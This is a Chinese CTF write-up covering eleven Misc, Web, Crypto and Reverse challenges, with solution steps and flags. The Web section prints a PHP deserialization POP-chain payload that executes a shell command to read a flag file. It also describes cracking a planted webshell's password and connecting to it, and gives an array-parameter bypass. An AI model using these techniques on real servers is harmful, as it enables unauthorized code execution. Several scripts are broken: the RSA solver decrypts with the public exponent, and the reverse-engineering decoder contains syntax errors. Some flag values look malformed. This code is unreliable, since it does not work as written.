Misc
题目一 来都来了
操作内容:
拿到压缩包之后发现是伪加密
将压缩包中的字符base64解密一次缩小即可得出flag
flag值:
flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}
题目二 芙宁娜
操作内容:
首先base64解密,得到flag{bc8394aa-7e32-47e8-a9fd-1bf683af
导入Photoshop拿到覆盖的16进制编码,通过重组还原得到一个pyc文件,
pyc隐写得到内容:8e8f}
flag值:
flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}
题目三 Honor
操作内容:
将拿到的图片放到010中,发现png图片下还隐藏一个jpg图片
分离 可得到一张jpg图片 图片如下
接着尝试使用steghide隐写解题,由于不知道密码直接使用空密码,发现尝试失败
接着使用stegseek对密码进行爆破
密码为114514
f6l3-a6ag3c}{-bc4c5e28-e4649c76b0-707e6069
通过栅栏解密即可得到flag
flag值:
flag{424c076e-768c-3636-acb5-4676900b9eec}
Web
题目四 ApeCoin
操作内容:
xray扫一下拿到www.tar.gz源码
.txt.php是wbeshell
cmd5解密拿到密码
74658263
冰蝎连接拿到flag
/static/font/.txt.php
flag值:
flag{49520cdb-42d2-417f-a1f2-1bc4cd5e1053}
题目五 get_source
操作内容:
php<= 7.4.21 development server源码泄露漏洞
数组绕过
a[]=1&b[]=3&pwn[]=sss
flag值:
flag{2c256623-af17-419a-ae7d-098b28459ccc}
题目六 easyphp
操作内容:
余暨杯线下赛 | FPoint
<?php error_reporting(0); class mouse { public $rice; function __construct() { $this->rice = new get; } } class dog { public $a; public $b; public $c; function __construct() { $this->a = 'chance?'; $this->b = &$this->a; $this->c = new ct; } } class ct { public $fish; function __construct() { $this->fish = new mouse; } } class get { public $cmd; function __construct() { $this->cmd = '?><?=`nl /realflag/you_want_flag.php`;'; } } $b = new dog; echo (serialize($b));
/hint.php?pop=O:3:"dog":3:{s:1:"a";s:7:"chance?";s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:38:"?><?=
nl /realflag/you_want_flag.php
;";}}}}
flag值:
flag{75441a2b-7484-496f-9f03-455d83d60a0b}
题目七 ezupload
操作内容:
非预期解:直接访问根目录/flag
即可拿到flag
flag值:
flag{b68d84d6-4125-4f77-a3fe-4a69853bf39d}
Crypto
题目八 我看看谁还不会RSA
操作内容:
定义了两个大素数p和q,并计算了它们的乘积n。然后,通过计算(p-1)*(q-1)到了欧拉函数的值phin。
指定了公钥的指数e为37777,并使用gmpy2.invert函数计算了私钥的指数d。
给定了密文c,代码使用pow函数执行RSA解密操作,将密文c的指数e次幂模n得到明文m。
使用Crypto.Util.number库中的long_to_bytes函数将解密后的明文m转换为字节形式,并打印出来。
import gmpy2
from Crypto.Util.number import long_to_bytes
已知参数
p = 8666789885346075954502743436174521501697
q = 2449101960789395782044494299423558347143
n = p * q
phin = (p - 1) * (q - 1)
e = 37777
d = gmpy2.invert(e, phin)
c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650
解密
m = pow(c,e,n)
print(m)
plaintext = long_to_bytes(m)
print(plaintext)
flag值:
flag{r5a_Who_w0nt}
题目九 hakiehs
操作内容:
将文件后缀改为zip,找到里面的图片
原神符号 对照拼接
flag{linkzeldaganon}
题目十 Babyrsa
操作内容:
求解中国剩余定理。接受两个参数 n 和 a,分别表示模数和余数。函数内部使用了 reduce 函数和 gmpy2.invert 函数来计算最终结果。
从文件 "round2.txt" 中读取了一个整数 c2。
定义了两个整数 e1 和 e2,并使用 gmpy2.gcdext 函数计算了它们的最大公约数和对应的系数。
从 "round3.txt" 中读取了两个整数 key 和 c3。
定义了两个大素数 p1 和 q1,并计算了 d1,即 e1 在模 (p1-1)*(q1-1) 下的乘法逆元。
从文件 "round4.txt" 中读取了一个整数 c4 和两个整数 t1、t2。
最后,使用 GCD 函数计算了 q,然后通过除法运算得到 p。接着,计算了 phin,即欧拉函数值然后使用 gmpy2.invert 函数计算了 d。最后,使用 pow 函数解密了密文 c4,得到了明文 m。
代码的输出结果是解密后的明文 m。
from functools import reduce
from Crypto.Util.number import *
import gmpy2
n1 = 11177704342647691670070109831808378482821379302566268464943167206480241387551242120970561253786504223799891058773501288553907233379501460184102021531940602831324488818584481982166938165369946708273616214479706319082928159418133324715707808391767322038274030554057692976849636562898606740933056248870247255267420120488136713203337167713048960270135675134979523980774070773134748108563438318851158022122836766753248988837577239024669497444315476147384635493684855045085484618938995056978709390818568630471778630936743950045419782341697342117812959693992029294299582179507853091511833090186389981102903683178276414062363
with open("round1.txt","r") as f:
f=f.readlines()
n1=eval(f[0])
c1=eval(f[2])
def chinese_remainder(n, a):#前面是模
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * gmpy2.invert(p, n_i) * p
return int(sum % prod)
n2=gmpy2.iroot(chinese_remainder(n1,c1),10)[0]
c2=eval(open("round2.txt","r").read().strip())
e1 = 65537
e2 = 84731
_,s1,s2=gmpy2.gcdext(e1,e2)
n3=pow(c2[0],s1,n2)*pow(c2[1],s2,n2)%n2
with open("round3.txt","r") as f:
f=f.readlines()
key=int(f[0])
c3=int(f[1])
p1,q1=93354166280947167833539683096118798106084867596287020276555488653205872987859801746684254263516217114159304058632013835768299155560709849272390696591877663191582507890284591155921659833532148373169277734804581509509984633376135064176560954186526127549825077504637255397234250633719215364937275738700717660719,129091985690550359973833790091146198395778087257743694979450863523549458554652043962254166670266232149752471741954493310376155128942738655573094015353022428764487467130494383995010146802193442576035047727380869508672182718103620025385942937912806529910521900966008956204938991394692250823238247503135083004251
d1=inverse(65537,(p1-1)*(q1-1))
n4=pow(c3,d1,n3)
with open("round4.txt","r") as f:
f=f.readlines()
c4=int(f[0])
t1,t2=int(f[1]),int(f[2])
q = GCD(t1-(t2-2019)**2019,n4)
print(n4)
p = n4//q
e=65537
phin = (p-1)*(q-1)
d = gmpy2.invert(e,phin)
m = pow(c4,d,n4)
print(long_to_bytes(m))
在txt文档中出现L,需要删除才行
flag值:
flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}
Reverse
题目十一 RE1
操作内容:
载入ida分析进入到main主入口
使用一个循环来处理字符串v8,将其转换为后缀表达式。循环中的代码将每个字符转换为对应的整值,并进行一系列位运算操作,最终得到一个结果v5
输入的字符串经过sub_401540通过指针v3向后移动2个字节。 调用sub_401540函数
对代码进行加密校检代码检查变量v5的值
验证长度正确后计算v8并将v1和长度传入加密
将变量v4的值加1,跳过当前字符。
获取指针v17指向的位置,该位置是根据v3[200]计算得到的。
将指针v17指向的位置的值赋给变量1。
将变量v1的值减去指针v17指向的位置的值。
将v3[200]的值减1。
将变量v1的值存储回指针v17指向的位置。
比较后提示内容就是flag
根据加密算法写转换脚本
void Decode(unsigned __int8* a1, unsigned __int8* flag, int a2)
{
int v3[515];
int v4;
char v5;
int j;
int v7;
int i;
v7 = 0;
for (i = 0 i <= 255; ++i)
{
v3[i] = i;
v3[i + 256] = *a1;
}
flag[0] = a1[0];
for (j = 1; j < a2; ++j)
{
for (i = 0; i <= 255; ++i)
v3[i + 256] = a1[j - 1];
for (i = 0; i <= 255; ++i)
{
v7 = (v3[i + 256] + v7 + v3[i]) % 256;
v4 = v3[v7];
v3[v7] = v3[i];
v3[i] = v4;
}
v5 = 0;
for (i = 0; i <= 255; i += 2)
{
v5 += v3[i];
v5 ^= v3[i + 256];
}
flag[j] = (a1[j] & 0xff) ^ (v5 &0xff);
}
}
int main()
{
unsigned __int8 flag[33];
unsigned __int8 v9[32];
v9[0] = 99;
v9[1] = -67;
v9[2] = 128;
v9[3] = 86;
v9[4] = ;
v9[5] = 76;
v9[6] = -58;
v9[7] = -43;
v9[8] = 68;
v9[9] = 102;
v9[10] = 109;
v9[11] = 44;
v9[12] =104;
v9[13] = -92;
v9[14] = 30;
v9[15] = 80;
v9[16] = 25;
v9[17] = 92;
v9[18] = -98;
v9[19] = 65;
v9[20] -117;
v9[21] = 85;
v9[22] = 5;
v9[23] = 50;
v9[24] = -65;
v9[25] = -31;
v9[26] = 126;
v9[27] = -6;
v9[28 = -78;
v9[29] = -109;
v9[30] = -10;
v9[31] = 42;
Decode(v9, flag, 32);
flag[32] = 0;
printf("flag{%s}", flag);
return 0;
}
flag值:flag{ca1acd0c7d7111eeaf0296085339ce83}
版权归原作者 池奈飞羽 所有, 如有侵权,请联系我们删除。